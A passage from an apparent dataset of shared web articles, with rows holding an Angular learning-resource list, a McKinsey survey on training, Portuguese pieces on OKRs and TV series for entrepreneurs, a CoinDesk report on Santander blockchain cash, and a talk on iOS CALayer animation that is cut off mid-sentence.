them. A more beginner-oriented lesson looking at different techniques for adding CSS styles to components. It shows you how to use component inline styles, style urls, and template inline styles, and explains the advantages behind each one. Web workers are great for doing asynchronous tasks that don't block the UI JavaScript, something very important for Single Page Apps. Here you can learn how to run Angular apps or components as web workers, allowing them to function in the background, independent from the main app thread. Angular apps tend to get really big, and at some point the source files become too large to be loaded at once. Lazy loading allows us to speed up application load time by splitting it into multiple bundles, and loading them on demand. A deep dive into the greatly improved Angular2 dependency injection system and the different approaches behind the old and new DI. This article also has a second part , that further explains the host-child relationship and the visibility of dependencies. The Angular2 change detection mechanism is much more transparent and easier to reason about than its equivalent in Angular 1. However, there are still situations where you need to know exactly whats going on under hood. Angular is a very powerful and complex framework, and it's not surprising that it's footprint is also quite large. In this blog post you can learn various techniques, such as Tree-shaking and minification, that will drastically reduce the size of your final app. Observables in Angular 2 can be used for handling asynch code as an alternative to Promises. They are a vast and complex topic, but this two-part tutorial does a great job of introducing them and showcasing their many use cases. An interesting take on design patterns for building Angular components. The article goes through the components of a YouTube music player app and the relationships between them, with lots of code examples and explanations. NgUpgrade is meant to bridge the gap between Angular 1 and 2 by allowing code from both frameworks to co-exist in the same app. This can greatly increase the size as both versions need to be included. You can learn how to reduce that extra footprint in this quick tip. In this article you will learn three different techniques that you can use to thoroughly test Angular 2 components. They are isolated testing, shallow testing, and integration testing. All three have their strengths and weaknesses and are best applied in certain scenarios. Protecting routes is a very common task when building applications, as we want to prevent our users from accessing areas that they're not allowed to access. Angular 2's router provides a feature called Guards that tries to solve exactly that problem. This guide gives a comprehensive overview of the various ways you can debug an Angular 2 applications using tools such as the Chrome DevTools, Angular Augury , simple JSON pipe filters, and the console itself. Since we know many developers prefer interactive lessons, here are a couple of places where you can find excellent code walkthroughs and general Angular talks. Egghead.io is one of the most popular and recommended sources for learning Angular. Although many of the lessons are for pro members only, there are still lots and lots of awesome free lessons you can watch. Adventures in Angular is a weekly podcast dedicated to the Angular framework. The panel cover a wide array of topics and it's probably the best place to get Angular news. The archive contains over 110 episodes, each at least 30 minutes long. Awesome one-hour-long course covering most of the basics. Although its beginner-oriented there are lots of things everyone can learn from this video in therms of project management and workflow. A YouTube channel with lots of screencasts on web development and programming, with a focus on Angular 2 and its ecosystem of related technologies, tools, and languages. Another YouTube channel with a large collection of Angular tutorials, courses, code examples, and quick-tips. Last but not least, here are some resources that didn't fit any of the above categories, but can still be essential learning tools for any Angular developer. The only completely free book on Angular 2 that we could find. It covers the most important Angular 2 topics, from getting started with the basic toolchain, to writing applications in a scalable and maintainable manner. You can read it in the web browser or download it as an eBook (PDF, Mobi, ePub). Although you can technically write Angular 2 in vanilla JavaScript or Dart, TypeScript provides by far the best experience with the framework. Using this tutorial you can get started with the language and learn most of it's important features. The offical style guide for the framework. Contains a ton of syntax and formatting recommendations, as well as general best practices. It's very detailed and long, but knowing Angular's enterprise nature, you'll probably need to go through it at some point. Learn from other people's experiences with the framework by checking out this large collection of open-source applications and experiments, all developed in Angular 2. An interview and Q&A with the creators of the framework, right after the release of Angular 2 Final. A great place to hear more about the project and its upcoming features straight from the horses mouth. by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1474480598,CONTENT SHARED,-1971429126058184075,693665567872370395,5332149560998295599,,,,HTML,https://monzo.com/blog/2016/09/19/building-a-modern-bank-backend/,Building a Modern Bank Backend,"At Monzo, we're building a banking system from scratch. Our systems must be available 24x7 no matter what happens, scalable to hundreds of millions of customers around the world, and very extensible. This first post in a series about our platform explains how we're building systems to meet these demands using modern, open-source technology.",en
1474482384,CONTENT SHARED,-8681175158863587641,3636910968448833585,-5530992907692903148,,,,HTML,http://www.mckinsey.com/business-functions/organization/our-insights/building-organizational-capabilities-mckinsey-global-survey-results,Building organizational capabilities: McKinsey Global Survey results,"Building organizational capabilities, such as leadership development or lean operations, is a top priority for most companies. However, many of them have not yet figured out how to do so effectively. The odds improve at companies where senior leaders are more involved. Nearly 60 percent of respondents to a recent McKinsey survey say that building organizational capabilities such as lean operations or project or talent management is a top-three priority for their companies. Yet only a third of companies actually focus their training programs on building the capability that adds the most value to their companies' business performance. We defined a capability as anything an organization does well that drives meaningful business results. The survey explored which capabilities are most critical to a company's business performance and why they focus on the capabilities they do. It also asked executives how their companies create and manage training and skill-development programs and how effective those programs are in maintaining or improving on their priority capabilities. It's notable that the majority of companies don't focus on a specific priority capability for purely competitive reasons; most often, the reason is that the capability is part of their culture. Further, some three-quarters of respondents don't think their companies are good at building the capability that is most important. When senior executives are involved in setting the capabilities agenda, companies are more successful at aligning those agendas with the capability most important to performance and more effective at building the needed skills. A strategic priority Companies can gain a competitive advantage by building foundational capabilities such as lean operations and project management or industry-specific capabilities such as merchandising or underwriting. Indeed, executives say building capabilities is a top priority for their companies: 58 percent of respondents say it's among their companies' top three priorities, and 90 percent place it among the top ten. Sixteen percent of respondents in China and 20 percent in India say capability building is a top priority for their companies-versus 10 percent overall and 8 percent in North America. Even in the context of the current financial crisis, 29 percent of respondents say their companies have not changed their training budgets; 11 percent have actually increased them. Notably, however, the most common reason respondents give for their companies' focus on the capability identified as most important to business performance is that the skill is a part of their companies' culture, rather than any competitive reason (Exhibit 1). Lack of alignment Despite the importance of capability building on the strategic agenda, executives' responses indicate they're not very good at executing: only about a quarter think their companies' training programs are ""extremely"" or ""very effective"" in preparing various employee groups to drive business performance or improve the overall performance of their companies (Exhibit 2). Respondents in China consider their companies much better than their competitors in manufacturing-but poorer in project management. The survey results also indicate a potential explanation: training programs are misaligned with what is thought to be the capability most important to a company's business performance. Only 33 percent of respondents say their training and skill-development programs focus on developing their companies' most important capability. Leadership skill, for example, is considered by the majority of respondents to be the capability that contributes most to performance. Yet only 35 percent of respondents say they focus on it. And only 36 percent of executives consider their companies better than competitors at leadership development. A third of respondents whose companies focus on leadership development think their training programs are effective in improving business performance, compared with 20 percent overall. In addition, companies do not focus on day-to-day activities that could maintain or improve the capability that contributes the most to their business performance. For example, only 41 percent of respondents whose companies focus on supply chain management spend time defining roles, responsibilities, and decision rights for key positions, and just 39 percent set targets and track metrics. Ineffective training methods Companies tend to rely on on-the-job teaching (60 percent of respondents use this method ""exclusively"" or ""extensively""), but no more than a third use any other method of training extensively (Exhibit 3). As companies try to replicate or scale up their training across more geographies, alternative ways of delivering it will become necessary. In addition, our experience shows that on-the-job training is most effective when it is reinforced through some sort of formal teaching and feedback loop. Respondents at companies whose training programs are effective in maintaining or improving the drivers of business performance also say their companies pay more attention to tools that support or enable capability building, such as standard operating procedures, IT systems, and target setting and metric tracking. What else goes wrong Companies also struggle to measure the impact of training on business performance: 50 percent of respondents say their companies keep track of direct feedback, and at best 30 percent use any other kind of metric. In addition, a third of respondents don't know the return on their companies' training investment. Because companies don't know the impact of training, they appear to set their agendas using different measures, including prioritizing by employee role, which may not actually result in the most impact to the bottom line. Executives at companies where training is reported to be least effective, for example, are more likely to invest in training for the leadership team and least likely to spend on the front line-despite this group's more immediate impact on operations. In contrast, effective companies invest the most in training the front line (Exhibit 4). In addition, although resistance to change is often viewed as a barrier to building new capabilities, almost as many respondents to this survey identified a lack of resources and an unclear vision as barriers (Exhibit 5). When senior leaders engage Seventy percent of senior executives say capability building is among their companies' top three priorities, compared with 58 percent of respondents overall and 48 percent of respondents in HR (Exhibit 6). Accordingly, when senior leaders set the training agenda, capability building is more often explicitly linked to immediate business goals than when other groups do so. For example, 38 percent of respondents at companies where senior leaders are involved in setting the training agenda say their companies' key training and skill-development programs are focused on building or maintaining the companies' number one skill priority, compared with 28 percent at companies where HR sets the agenda. Further, at companies where senior leaders set the agenda, 17 percent spend between 6 percent and 10 percent of their operating budget on training and skill development, compared with the much lower 6 percent and 8 percent, respectively, who spend the same at companies where HR or business unit leaders set the agenda. Perhaps not surprisingly, at companies where senior executives set the training agenda, the training and skill-development programs are seen as more effective in driving business performance, though there is still much room for improvement. When senior leaders set the agenda, a quarter of the respondents view the program as effective, compared with 20 percent overall. Looking ahead Companies need to be more deliberate in understanding which capabilities truly impact business performance and align their training programs accordingly. Those that focus on leadership skill development are likelier to consider their training programs effective in improving business performance. When senior leaders set the agenda for building capabilities, those agendas are more often aligned with the capability most important to performance. Most companies focus on the capability executives say is most important to business performance because it's a part of the companies' culture, not for any competitive reason. While culture is a strong driver of effective capability building, companies that focus on certain capabilities for competitive reasons rather than cultural ones gain a stronger competitive advantage. About the author(s) Contributors to the development and analysis of this survey include Liz Gryger, a consultant in McKinsey's Pittsburgh office; Tom Saar, a director in the Sydney office; and Patti Schaar, a consultant in the Cleveland office.",en
1474488847,CONTENT SHARED,-5691384416070374740,3609194402293569455,-7132303439693307831,,,,HTML,https://endeavor.org.br/como-transformar-estrategia-okr/,OKR e meta: minha experiência no Runrun.it,"Traduzir sua estratégia em metas e objetivos nunca é fácil, mas com uma cultura de resultados tudo pode ficar melhor. Nos meus vários anos de carreira, já passei por inúmeras empresas. Posso dizer, com toda certeza, que transformar a estratégia macro do negócio em uma experiência palpável para os colaboradores é muito mais difícil do que parece. Quem está na liderança tem dificuldade para criar KPIs que conversem com a estratégia, por sua vez, quem executa tem dificuldade de entender o que suas tarefas diárias têm a ver com a tal estratégia. O trabalho cotidiano fica separado da mensagem maior, dando uma brecha absurda para a desmotivação. ""Por que estou fazendo isso? Com que propósito?"" ou ""Como vou fazer essa empresa ser a líder de mercado?"" são os questionamentos mais comuns. E, a não ser que se trate de um profissional bem acomodado e descomprometido, essa angústia levará a empresa a perder bons talentos. Desde o começo do Runrun.it , eu e meus sócios conduzimos os negócios para que a estratégia não fique desconectada da operação. No início, eu fazia reuniões mensais com os colaboradores, mostrando índices, explicando a trilha que estávamos seguindo. Cheguei a fazer essas conversas com só 12 pessoas, isso incluindo os sócios! O número não importava, o foco era fazer com que tudo ficasse azeitado. À medida que o foi crescendo, esses papos foram se tornando menos frequentes. Pessoas entravam e saíam da empresa e ficou a impressão de que podia estar acontecendo justamente o que temíamos: trabalho sem foco. Foi quando conhecemos os OKRs - Objectives and Key Results -, um método usado por muitas empresas do Vale do Silício que ajuda a traduzir os grandes objetivos da empresa em grandes resultados-chave para um período. Aqui dentro nós adotamos um modelo de reunião trimestral. Leia também: Metas: como implementar a metodologia OKR Por meio dessa metodologia, é possível descer seus objetivos para as metas de todas as áreas, e até mesmo para cada colaborador. Depois disso, a pergunta começa a ser sempre a mesma: como eu, ou minha área, posso contribuir para aumentar tal KR da empresa? Isso obriga que toda e qualquer tarefa do funcionário, desde a camada mais alta até a mais baixa da hierarquia, esteja conectada às diretrizes maiores da empresa. Mas é preciso deixar claro isso para todos - não basta disponibilizar o link de uma planilha. Depois de um tempo, eu comecei a perceber que os colaboradores só entendiam, de fato, a existência e importância dos OKRs quando, ao criar tarefas no Runrun.it , eles tinham que relacioná-las com o projeto correspondente ao seu OKR. O hábito de abrir tarefas e procurar uma relação aproximou a metodologia ao dia a dia das pessoas. Felizmente, elas começaram a ver suas tarefas como mais do que uma atividade simples, elas viam sentido em seu trabalho. E, como os OKRs ficam disponíveis para todos, inclusive seus atingimentos (ou não), existe uma cobrança saudável para que todos os resultados sejam alcançados. Foi com isso que criamos uma cultura de resultados mais efetiva. A transparência com que as informações são mostradas para as equipes, a objetividade e a importância de se alcançar os resultados estão no DNA da empresa e, mais do que isso, na concepção do software que comercializamos. Os OKRs fazem muito sentido para a nossa realidade e para qualquer empresa que deseja aumentar sua produtividade com foco em resultados. Leia também: Cultura de resultados: como engajar seus funcionários Essa metodologia nos permitiu ter nossa versão da ""gestão à vista"", aquele tipo de gerenciamento que privilegia gráficos e dados gerenciais , permitindo sua rápida interpretação. Hoje, cada área do Runrun.it tem seu próprio dashboard que mostra números vs o resultado esperado no respectivo KR. Também temos um banner com todos os OKRs listados e, a cada mês, o líder de cada área preenche a porcentagem e atingimento do resultado. É quando eu faço uma reunião geral fechando o mês, apontando erros e acertos, e com a cabeça nos próximos resultados. A teoria é maravilhosa, não é mesmo? Mas de que maneira nós conseguimos acompanhar cada tarefa ligada a cada OKR de cada área? De duas formas: comunicação entre áreas e ferramenta de gestão. Para a primeira, encontramos uma solução bem simples. Todo dia os líderes de área se reúnem durante não mais de 20 minutos para dizer o que estão fazendo e o que pode afetar outras áreas. É uma reunião em pé mesmo, desconfortável o suficiente para não ser longa. Além dela, a segunda-feira é reservada para cada um apresentar aos sócios o que foi feito na semana anterior, o que será feito na atual e os resultados obtidos até então. Este é o momento em que corrigimos rotas e reavaliamos alguns números. Todas essas técnicas estão fazendo bastante sentido para a gente, mas elas podem ser adaptadas a cada empresa. Traduzir os objetivos-macro da empresa para todas as camadas da organização não é fácil, mas depois dos primeiros passos torna-se cada vez mais simples e os resultados chegam cada vez mais rápido. E aí, como estão dos OKRs da sua empresa?",pt
1474489019,CONTENT SHARED,8869575677747285539,3609194402293569455,-7132303439693307831,,,,HTML,http://saiadolugar.com.br/series-com-licoes-sobre-empreendedorismo/,Séries com lições sobre empreendedorismo: As 7 melhores!,"Se você acha que séries são uma perda de tempo, você precisa repensar os seus conceitos. Isso porque, a cada dia, novas séries são criadas com assuntos diversos, e contribuem muito para difusão de conhecimento em diversas áreas. E com o empreendedorismo não seria diferente. Por isso nós selecionamos 7 séries com lições sobre empreendedorismo para que você, empreendedor, tenha um momento de descanso (afinal, isso contribui muito para sua produtividade e qualidade de vida), mas continue aprendendo o que fazer, ou ainda o que não fazer. Suits A série gira em torno de um grande escritório de advocacia americano, especialmente sobre um dos advogados da firma, Harvey Specter (Gabriel Macht), que acaba contratando uma espécie de estagiário que não se formou na faculdade de direito, mas com uma inteligência e conhecimentos técnicos fora do comum. A partir daí, eles têm que solucionar inúmeros casos (alguns aliás bem polêmicos e controversos) e ao mesmo tempo encontrar formas de não serem descobertos. O que você pode aprender com Suits: Logo de cara, a importância do trabalho duro. Harvey é um advogado de grande sucesso, mas ao longo da trama você vai perceber que ele trabalhou muito para chegar onde chegou. Segundo, sobre as escolhas na hora de contratar. É claro que, no caso da série, a atitude de Harvey é criminosa, o que jamais é indicado! Mas, quando não for esse o caso, o que vale mais: um diploma ou o conhecimento? Por fim, você presenciará inúmeras negociações, argumentações e estratégias e poderá tirar grandes aprendizados disso. Mad Men A série, ganhadora de 15 Emmys e 4 Globos de Ouro, se passa na década de 1960 e conta a história de Don Draper (Jon Hamm), diretor de criação de uma agência de publicidade, e das pessoas que se relacionam com ele. A partir dessa trama, a série mostra a evolução da sociedade americana, principalmente do marketing e sua relação com o desenvolvimento da sociedade. A série ainda apresenta histórias de grandes marcas reais, como Heinz e Kodak. O que você pode aprender com Mad Men: Primeiro, um contexto sobre marketing de um ponto de vista histórico e comportamental, e como ele pode te ajudar a sobreviver às mudanças constantes. Também é interessante observar o comportamento do personagem principal, Don Draper, e sua grande capacidade de correr riscos, necessária a todo empreendedor. Por último, é possível observar como e a importância de conhecer muito bem os seus clientes, e o quanto isso impacta nos resultados entregues. The Office A série de comédia conta com 20 indicações e dessas, ganhadora 19 vezes, incluindo Emmys e Globos de Ouro. Ela conta, em forma de um documentário fictício, o dia-a-dia da filial de uma grande produtora de papel, a Dunder Mifflin. A empresa é chefiada pelo excêntrico Michael Scott (Steve Carell) e as suas decisões, no mínimo duvidosas, vão gerar boas gargalhadas e, com certeza, grandes reflexões. O que você pode aprender com The Office: Acima de tudo, o que não fazer! Ela traz situações que todas as empresas, equipes, gerentes e empreendedores podem passar, e a maneira como eles resolvem os problemas são ótimos exemplos a não seguir. E, por mais absurdo que possa parecer, você vai perceber que já passou por situações semelhantes e pensou em tomar medidas muito parecidas. E isso é ótimo pois, de forma leve, você vai questionar as posições que toma diariamente e os seus efeitos a curto, médio e longo prazo. House of Cards A aclamada e polêmica série da Netflix mostra retrata a vida de Frank Underwood (ninguém menos que Kevin Spacey), um ambicioso congressista americano que deseja alcançar cargos cada vez maiores em Washington. Para isso, ele ultrapassa limites morais, éticos e até mesmo legais. Interessantemente, a série conta com diálogos diretos entre Frank e o telespectador, como se ele estivesse compartilhando seus pensamentos reais diante de situações em que precisa ser político ou desonesto, o que torna a série ainda mais intrigante. O que você pode aprender com House of Cards: Em primeiro lugar, muito sobre o mundo da política. Afinal, negociações, o poder das influências e das boas relações e a importância da inteligência emocional são um plano de fundo que se aplica também aos negócios. Obviamente, Frank Underwood está longe de ser um exemplo de caráter. Mas, apesar dos pesares, sua objetividade e foco o levam onde ele quer chegar e isso, se usado de maneira correta, pode ser a chave para o sucesso de uma empresa. Além disso, a série te leva a questionar os seus princípios, quando você se vê comprando a ideia de pessoas completamente sem escrúpulos. Silicon Valley A série de comédia retrata a história de jovens programadores com personalidades bem diferentes tentando fazer uma startup dar certo, nada mais nada menos, que no Vale do Silício . Eles enfrentam os desafios de começar um novo negócio ligado a tecnologia, a famosa dúvida de vender ou permanecer com a empresa e ainda questionamentos cotidianos sobre o rumo do seu negócio. O que você pode aprender com Silicon Valley: Os problemas enfrentados pelos personagens são reais. De cara, o desafio de começar um negócio a partir de uma ideia inovadora, cenário comum para muitos empreendedores. Além disso, eles têm que lidar com investidores, crises, projetar o crescimento da empresa, correr riscos e tomar decisões que podem mudar o rumo do projeto deles para sempre. Por mais que se trate de uma comédia, você perceberá os dilemas comuns de empreender e por que é importante ter as melhores pessoas ao seu lado logo no começo. O Negócio A série nacional conta a história de 3 mulheres que querem subir na carreira mas não veem essa possibilidade acontecendo no lugar aonde estão. Por isso, elas resolveram inovar e se tornam empreendedoras de sucesso. Para tal, elas estudam e elaboram estratégias de marketing inovadoras e acabam alcançando seus objetivos. Mas, o surpreendente mesmo é a área de atuação das personagens: a prostituição. O que você pode aprender com O Negócio: Acima de tudo, a pensar fora da caixa. Por mais polêmico que seja o tema central, o enredo vai de encontro a realidade de muitas pessoas: deixar de ser empregado e se tornar dono do próprio negócio. Além disso, o ""como"" elas fazem também merece atenção especial. As ideias de marketing apresentadas pelas personagens são inovadoras e com certeza te levarão a pensar ""como alguém nunca pensou nisso antes?"". How To Get Away With Murder Aclamada pela crítica, a série começa em uma aula do curso de direito em que a grande advogada e professora, Annalise Keating (brilhantemente interpretada por Viola Davis) explica aos alunos que ela lhes dará uma única lição: como se livrar de uma acusação de assassinato. A partir disso, ela escolhe os melhores alunos da turma para acompanhá-la no dia-a-dia dos seus casos (que aliás, são complexos e intrigantes), para que eles a auxiliem e futuramente possam ser contratados por ela mesma. Porém, eles mesmos acabam se envolvendo em um assassinato. O que você pode aprender com How To Get Away With Murder: A personagem Annalise Keating merece uma atenção especial. Além de sua inteligência e de saber usar a lei a seu favor sempre, ela dá grandes lições para quem quer se tornar competente no mundo dos negócios. Primeiro, por sua objetividade. Segundo por sua capacidade de se adaptar e tirar sempre o melhor das situações. Também por sua desenvoltura ao passar o conhecimento de maneira prática as pessoa ao seu redor. E por último, mas não menos importante, por saber quando liderar e quando ser humana, e ir até às últimas consequências pelo que acredita e por sua equipe. Sabemos que empreendedores não costumam ter muito tempo livre, principalmente se estão começando o seu negócio. Por isso, unir lazer e conhecimento pode ser uma estratégia, tanto para que você cresça como profissional quanto para que aprenda de maneira leve, mas reflexiva, grandes lições. Outro fator benéfico é que, geralmente, os episódios das séries duram entre 30 e 50 minutos, diferente de livros e filmes . Eles não devem ser substituídos! Mas é uma chance de otimizar o aprendizado em pequenas doses, sem tomar muito do seu valioso tempo. Então, pegue pipoca, caneta e papel, e comece o quanto antes a aprender com as grandes séries do momento. E que tal compartilhar essas informações com outros empreendedores ou sua equipe para que vocês possam trocar experiências e comentar sobre as séries? Curta a nossa página no Facebook!",pt
1474490110,CONTENT SHARED,6881796783400625893,5660542693104786364,-1569590636602029222,,,,HTML,http://www.coindesk.com/santander-vies-become-first-bank-issue-digital-cash-blockchain/,Santander Vies to Become First Bank to Issue Cash on Blockchain - CoinDesk,"Spanish banking giant Santander is working on a project that explores how it could digitize customer cash using the public ethereum blockchain. Revealed today during a panel talk at Devcon2 by Ether.camp founder and ethereum Java client developer Roman Mandeleil, the news was confirmed by representatives of Santander . In statements, Santander said its goal is to open up its bank-issued funds to a community of innovators as a way of tapping additional efficiencies. Given the recent deluge of proofs-of-concepts and consortium announcements, Santander's move to potentially issue digital cash on a live public blockchain emerges as one of the more unique projects globally. Running for more than a year, the ethereum network has a market cap of more than $1bn and nearly 40,000 in daily transactions . In interview, Mandeleil explained that the Santander project envisions how the bank's customers could convert money from their real bank accounts into a 'tokenized' online currency called 'Cash ETH' that would be redeemable for paper currency. Mandeleil told CoinDesk: ""These tokens are backed by real money in Santander. At any moment you can get them back and get the dollars."" In a demonstration, Mandeleil showed how a fictional customer could use the prototype to create digital money for use at online merchants and accessible with a mnemonic passcode called a brain wallet. (Despite past issues with the concept , he called this version ""statistically hard to break""). Santander representatives indicated that the bank is now seeking to work with Ether.camp on engaging other banking partners in the project. The two partners are also looking to run hackathons that would focus on developing use cases around micropayments. In essence, the project aims to envision a way for banks to open up their basic bank account offerings to new ideas and transactional services. Further, Mandeleil said the project is part of his 10-person startup's vision that focuses more on using blockchain technologies to achieve incremental benefits for banks and consumers. ""It's more like evolution, not revolution,"" he said. Still, he emphasized that the trial, should it go live, would mark a ""huge leap"" by establishing a connection between a publicly traded financial firm and and a public blockchain. ""You can start to build more and more stuff and say to the regulators 'It's not so scary,'"" he continued. Elsewhere, in his talk, Mandeleil discussed Ether.camp's work with blockchain startup firms including Gemini and Rootstock. Mass media Mandeleil showcased a system whereby a Santander customer would have three new options to coincide with their traditional bank account - tokenize, transfer or refund. Should the user elect to 'tokenize' their funds, the system is set up to allow for payments of as low as $0.01, though small charges may add to Santander's earnings depending on how the user chooses to allocate the funds. In the example, $350 in funds were withdraw to a test version of the ethereum blockchain, with $1 going toward gas payments, which are needed as payment to execute transactions on the network. By paying the gas upfront, the user is allotted a certain pre-set number of transactions they can execute, though this figure can be increased with additional payment. Mandeleil sees the digital Santander dollars as a viable alternative to PayPal. ""It's not something that users will not do to have the agility of money. You click on the payment, then you put in the private key and you have the balance and the reliable transactions,"" he said. To offer a better view on the project, Mandeleil walked CoinDesk through a version of the prototype in which a user tokenized funds for use as payment for an article on a demo version of The New York Times website. Users could then exchange the digital money with other users, though Mandeleil said these funds would be redeemable with Santander. In this light, the partnership also offers the bank a new avenue by which to add to its accountholder base. Questions ahead According to Mandeleil, the project first began seven months ago, when Santander approached the Ether.camp team with the idea for the effort, but more work remains. Should Santander succeed in receiving regulatory approval to ultimately move forward, it will need to contend with the challenges of potential growth. For example, Mandeleil said he is speaking with Santander about the issues that could arise from a broad number of banks all issuing their own versions of digital cash, which might lead to interoperability and settlement issues. Mandeleil, though, sees the current blockchain market as already providing relevant examples for how workarounds to this could be achieved. For instance, he mentioned the available cryptocurrency conversion tools as one service that could offer a potential solution should the project progress. Going forward, Mandeleil and Santander said the partners are seeking to engage more banks in the project, which they compared to the Universal Settlement Coin project spearheaded by UBS and also involving Santander. Representatives of Santander said that additional legal work needs to be done before moving forward, and that it is currently exploring whether it needs additional licensure. Images via Pete Rizzo for CoinDesk; Santander image credit: chrisdorney / Shutterstock.com",en
1474494465,CONTENT SHARED,7458850059926549081,693665567872370395,5332149560998295599,,,,HTML,https://realm.io/news/altconf-stephen-barnes-bring-your-app-to-life-calayer/,Bring Your App To Life with CALayers,"Many times, the most memorable part of an app is an intricate, animated experience. iOS provides a number of tools to create these experiences, but it can take some work to get the most out of them. The basis for many great experiences lies in Core Animation. Using tools such as CALayer and CATransaction we can create a high resolution, vector-based, animated sequence that delights users . In this talk, we'll use code samples to go through different animations and discuss how you can use these techniques in your app. Let's use the power of CALayers to make your app memorable. Introduction (0:00) My talk has two parts. The first part is taking a complex interaction and getting it into a state where we can animate it . This part is half retrospective. It's how we've done something before, how it worked out, and how you can do it next time. The second part is about animations, in particular, Core Animation , which I think is not as hard as many people might think. It's also a lot of fun. How it all started (0:53) It all started when a different iOS developer at Fitbit, named Aidan, and a designer on our team, Drew Matthews, came up with this really fun interaction for our sleep screen. This little interaction comes up whenever we were introducing sleep goals, but also whenever you start ""sleep"" in the app. It's this really delightful, little, happy moon. When we were working on some of the other features in the app a little bit later, we were thinking, ""Okay, what could we use to really spice this up?"" We wanted to create an onboarding experience around hourly activity and reminders to move, both features that came out alongside the FitBit Alta. It keeps track of how much you've moved every hour during a certain window and also helps remind you when to move so you can get 250 steps to keep active. The last thing we wanted to do was create another set of onboarding screens that nobody wanted to read . The first thing to keep in mind is that at the top-right we added a ""done"" button because even though I would like people to really enjoy this, sometimes you don't want to go through onboarding. Besides that, our illustrators came up with these really cool, little illustrations. The benefit of working with Drew on this is he just came along and said, ""How about we do something cool with it,"" and he put together a movie in After Effects. We now had something to start with, and a goal of what we wanted to make it look like. Our first question was, ""Okay, that's cool, but how in the world do I build this?"" There are a number of different ways. We're going to talk how we did it for this interaction in Fitbit, and I'll also mention a few ways you can explore other solutions as well. Sketch and PaintCode (3:01) The way that we built the animations and interactions was using Sketch , then going into PaintCode , and finally going into Xcode via code . Sketch , as many of you might have worked with, is a vector-based tool. It's very popular in mobile development. We have these illustrations made by an illustrator, we cleaned them up and exported them via SVG, which is a standard vector format that we can take and import into PaintCode. PaintCode is a really cool tool for doing several things. One of the main things that it's great at is moving interactive controls via code. It's a WYSIWYG editor, and you can design all these things in it and then output direct code, no assets required. It also has tools for easily adjusting anchor points, bounds, relative locations, grouping things, etc. This was a really decent solution for what we were looking for, though there are a few cons. First, it's great for controls, but what we wanted was sequential animations. Second, its default implementation relies on drawRect , which doesn't have a whole lot of leeway for state. Another thing is that it imposes a third-party tool for getting your designs into your actual application because you go through this editor which outputs code. Lastly, what I discovered in hindsight, is that there's a chance that if you have really complex shapes and interactions, it can actually increase your compile time just a little bit for each file because they can get rather large. Let's talk a little bit about some of the handy features. First is grouping. It's really helpful when you have a whole bunch of different shapes, particularly ones you might want to animate together, but also separately. This is just a sample of maybe 1% of the generated code that PaintCode will output whenever you're taking your files or your vector input and actually outputting your code. As you can see on drawRect , it takes in a few parameters for variables that we can define in PaintCode. But that brings us to CALayers . What we want to do in this case is not rely on drawRect . We want to take our output from PaintCode, convert it into using CALayers, and animate those sequentially. We'll go through a few steps to do that. The first thing you do, it is crucial to clean up your vectors. When someone's drawing something in Illustrator or Sketch or anything similar, sometimes there are tricks that you can use to hide things or to clips things, etc. When you're outputting code, it might not be useful or performant if you have a whole bunch of hidden shapes in your file. Delete unused shapes and merge contiguous shapes with others so that you have one path as opposed to twenty. You should also name your colors and layers; it will save you a lot of frustration in the end when you're looking at your code. That way it's mostly human readable, and instead of ""color 37"", it might be ""dark blue"". One of the other things that we're going to do is break down and transform our generator code. We're going to create a custom view with a custom CALayer , this custom CALayer is going to expose a number of different animatable groups, and we're going to manipulate our PaintCode output into this form. What does that mean? Let's look at some actual code. Here we have our custom CALayer , and it has a bunch of different sub-shape layers beneath it. In this case, it's the first scene of our onboarding experience. I have a bunch of different elements that I want to animate: a picture frame, a chair, a person, a left and a right arm that I want to animate separately, etc. I'm going to configure these different shape layers using the bounds, the anchors, and the positions that I get from PaintCode. One thing you can do inside PaintCode is move the anchor position, and use that to set the anchor position for your CALayer . It's one of the benefits of doing CALayer animations. The next thing you want to do in this process, and this is a little bit odd; you want to break up your groups. Now this is because we're transforming PaintCode's output. We are doing a few things that it doesn't necessarily, and normally, want to do. Typically it does a whole bunch of offsets in drawRect , but we don't want any of those offsets built in. So, again, what we're going to do with our output is create a CALayer for each shape. Then, we're going to set the path of the CALayer to the vector output for that actual shape. Finally, we're going to place fill, which you typically use for drawRect , the fill color for the shape, and then we're going to add that CALayer to the paint layer. We're slowly building up our scene. Let's talk about the picture frame and how things get built up. First, we're going to create the picture frame layer. We're going to do this for one of the sub-shape layers and set its anchor point, its bounds and its position. You can get that from looking at PaintCode's outputted code and also its GUI. We're going to set the bounds of the custom layer itself and add each of those shape layers that we created. What does that createPictureFrame() layer look like? Simply, we create a shape layer. Then we configure any of our colors, and this is where naming your colors and your layers is helpful. A lot of this code comes from PaintCode, so we have a whole bunch of different colors. For example, maybe a pictureBackgroundBlue . Then we're going to take our output code from PaintCode and convert it into a shape layer, one for each shape within our picture frame. We're going to set its fillColor , set it to path , and then we're going to add it. We're going to do this for each part of our shape layers. Now, this can be a little bit tedious. This is part of the retrospective. If you're going to make PaintCode work in ways that it's not really meant to, you have to be willing to either think about scripting, using other tools, or be willing to put in a little bit of extra tedious work. Where did that code come from? (10:54) Where did that code come from? In the PaintCode UI there is a large panel that has all of your output code. You can select Objective-C or Swift, depending on what your compatibility is, and you take that and start breaking it down. Earlier I mentioned that we wanted to break down our groups. If you don't break down your groups, there's a bunch of stuff in your output code that looks like this: The way that it typically works using drawRect is that it will shift and transform in order to place things that are relative to groups, but because we're breaking things down and building our CALayers that have their own position and bounds, that's going to mess us up a little bit. Just remember, if you're using this technique to break down your groups. The important part in all of this is that we want to rinse and repeat that whole process, which is not the most fun thing in the world, but it is rather effective. What we have at the end is a nice, rendered illustration that could have taken us maybe two minutes to do as an image, but the really fun part is that each one of these is vector rendered, so we don't have to worry about device size. We can animate things individually with different anchor points and it's ready to go. For a little bit of retrospective, however, there's a number of different ways to get to this state: One is that you can experiment with SpriteKit . Another one is that there are several different tools, one of which is QuartzCode . QuartzCode does something very similar to PaintCode, except instead of having to translate things from drawRect into CALayer , QuartzCode will actually output CALayers. Now I haven't worked with QuartzCode much myself, so I can't say if it works well or not, but it's another alternative. Another one is Squall . Squall does a similar thing, except it goes directly from After Effects to code. If you have something that's built in After Effects, that's something to consider, but not many of us are very proficient in After Effects. CATransaction - How to make it move (13:10) Now we get on to the fun part. We've done all of this work, and we have our shapes and our layers all ready to go for animation. Let's talk a little bit about how we're going to make it move. The first technique we're going to talk about is CATransactions . Now CATransactions allow us to adjust properties one after another and have them perform in a batch in an animated fashion. We're going to 